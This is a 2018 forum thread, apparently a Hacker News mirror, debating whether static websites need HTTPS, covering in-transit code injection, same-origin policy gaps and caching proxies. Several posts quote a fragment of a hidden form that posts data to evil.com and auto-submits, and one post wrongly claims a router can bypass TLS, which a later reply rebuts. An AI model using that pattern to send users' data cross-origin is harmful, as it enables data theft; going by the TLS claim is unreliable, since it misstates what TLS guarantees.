Why Static Websites Need HTTPS • Hacker News Board

Re: Why Static Websites Need HTTPS

#41

Post by austincheney » Tue, Aug 28, 2018, 12:55 PM UTC

skuzye wrote: post #31

austincheney wrote: post #10

Earlier quoted context omitted.

There is the possibility of corrupting the integrity of the application code in this way, but this doesn't void privacy thanks to the same origin policy. https://en.wikipedia.org/wiki/Same-origin_policy If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application…

I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it. It won't stop a modified code from pushing data to anywhere in the web either. > More fortunately still the application is a diff tool, so it can perform self validation Yes, if the…

Also if the attack did take place at the router then HTTPS certainly is irrelevant regardless of what the browser is doing. HTTP and HTTPS ride over TCP. If you can modify code at the router then you can change the TCP packets to spoof the page address or HTTP response and sidestep HTTPS or the requested domain entirely.

https://en.wikipedia.org/wiki/Transport_Layer_Security

Simply modify the TCP connection in transit to return other TSL encrypted data than what the user asked for. Really, if you are already at the router you can essentially do anything to the user's traffic and modify it in any way except read encrypted data. Simply redirect the user to a spoofed domain with a spoofed page running malicious code sent as HTTPS. Then you can gather all the privacy data you want through HTTPS.

Re: Why Static Websites Need HTTPS

#42

Post by sigotirandolas » Tue, Aug 28, 2018, 12:56 PM UTC

davidmurdoch wrote: post #15

And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites... Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases). Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled…

Couldn’t you set up the local cache as a proxy server instead of a MitM to solve this? Though it’s a less transparent solution (you have to set up the proxy and its CA on every client).

Re: Why Static Websites Need HTTPS

#43

Post by untog » Tue, Aug 28, 2018, 12:58 PM UTC

adwhit wrote: post #38

tudelo wrote: post #14

Earlier quoted context omitted.

Pretty sure you can use certbot and just run like... a few commands. Even easier than setting up Nginx.

The point isn't that it is particularly difficult (if you know what you are doing). The point is that from a cost-benefit perspective, it probably isn't worth more than 2 minutes of your time, if that.

Given that Chrome now throws a "not secure" message against your URL when it's HTTP makes it more than worth two minutes, IMO.

Re: Why Static Websites Need HTTPS

#44

Post by untog » Tue, Aug 28, 2018, 1:00 PM UTC

austincheney wrote: post #28

gsnedders wrote: post #19

Earlier quoted context omitted.

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously https://evil.com/" method="post" id="dummy"> window.dummy.submit(); . In general terms, you can often write cross-origin, but you can't read.

A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.

Put it in an iframe, then. No URL change, no page change.

In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.

Re: Why Static Websites Need HTTPS

#45

Post by majewsky » Tue, Aug 28, 2018, 1:01 PM UTC

austincheney wrote: post #28

gsnedders wrote: post #19

Earlier quoted context omitted.

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously https://evil.com/" method="post" id="dummy"> window.dummy.submit(); . In general terms, you can often write cross-origin, but you can't read.

A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.

> A form submission would refresh the page to the evil domain.

The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.

Re: Why Static Websites Need HTTPS

#46

Post by zaarn » Tue, Aug 28, 2018, 1:01 PM UTC

davidmurdoch wrote: post #15

And one reason it doesn't: https://meyerweb.com/eric/thoughts/2018/08/07/securing-sites... Secure websites make the web less accessible for those who rely on metered satellite internet (and I'm sure plenty of other cases). Know who your demographic is and make sure you don't make things more difficult for them. Maybe provide an option for users to access your static site on a separate insecure domain, clearly labeled…

Yeah that's pretty much not the case once you setup a HTTPS proxy with a cache. HTTPS merely requires this to be an opt-in from the client unlike HTTP where you can just do it, to hell with the client.

Don't spread BS.

Re: Why Static Websites Need HTTPS

#47

Post by dragonwriter » Tue, Aug 28, 2018, 1:02 PM UTC

austincheney wrote: post #10

skuzye wrote: post #3

Earlier quoted context omitted.

If you don't use HTTPS you are also forgoing the integrity check and not only the encryption. Any router standing between your users and your servers could inject anything into your code, html, etc.

There is the possibility of corrupting the integrity of the application code in this way, but this doesn't void privacy thanks to the same origin policy. https://en.wikipedia.org/wiki/Same-origin_policy If integrity of the application is violated the application is broken or defective. Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application…

> Fortunately the application is open source and so integrity violations can be easily verified. More fortunately still the application is a diff tool, so it can perform self validation across the wire by comparing the transmitted application code against the stored application code.

It could, if you had any guarantee that the application code was not compromised the first time, and if you had a customized browser that responded to a navigation request by checking for and running the stored application code for th URL to decide whether or not to use the downloaded code. But that's not the way browsers normally work.

Furthermore, even if it was, the case of “A web application hooks into the web request lifecycle to guarantee that it's code can never be changed once first loaded and which stores all user data locally” is an unusual-enough case (if even possible to implement) that there is a good reason that the always-HTTPS crowd doesn't address it: it's simply not a case which has any real-world relevance. At that point, sure, you don't need HTTPS after the initial download, because you don't need web requests at all since you are effectively unconditionally throwing away the response in favor of locally stored code.

Re: Why Static Websites Need HTTPS

#48

Post by [deleted] » Tue, Aug 28, 2018, 1:03 PM UTC

austincheney wrote: post #28

gsnedders wrote: post #19

Earlier quoted context omitted.

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously https://evil.com/" method="post" id="dummy"> window.dummy.submit(); . In general terms, you can often write cross-origin, but you can't read.

A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.

[deleted]

Re: Why Static Websites Need HTTPS

#49

Post by pcnix » Tue, Aug 28, 2018, 1:03 PM UTC

adwhit wrote: post #12

When I read things like that, I always think of the paper "The Rational Rejection of Security Advice by Users". [1] Yes, content injection is bad, but the chance of it happening multiplied by the damage it could cause to your users is probably less than the the effort required to shift a static blog site to HTTPS. (Do not underestimate the leap in difficulty from copy-pasting from an Nginx tutorial to understanding h…

It's not just about the chance of problems, it's also the fact that browsers are making it very obvious when a site doesn't have https, and this is enough to scare users away.

Re: Why Static Websites Need HTTPS

#50

Post by jakelazaroff » Tue, Aug 28, 2018, 1:03 PM UTC

austincheney wrote: post #41

skuzye wrote: post #31

Earlier quoted context omitted.

I may be misunderstanding but I don't believe the Same-origin policy will protect you there. You're browser wouldn't be able to tell whether the JS it's reading is the real one or the modified one. So it would be all "same origin" for it. It won't stop a modified code from pushing data to anywhere in the web either. > More fortunately still the application is a diff tool, so it can perform self validation Yes, if the…

Also if the attack did take place at the router then HTTPS certainly is irrelevant regardless of what the browser is doing. HTTP and HTTPS ride over TCP. If you can modify code at the router then you can change the TCP packets to spoof the page address or HTTP response and sidestep HTTPS or the requested domain entirely. https://en.wikipedia.org/wiki/Transport_Layer_Security Simply modify the TCP connection in transi…

The guarantee TLS provides is not that content is unable to be modified, but that any modifications are detectable.

The router (or anything else between your computer and the server) can modify the content in transport to its heart's content, but it won't be able to sign it with the domain's private key, and so the browser will always know when such modifications have taken place and flag them as malicious.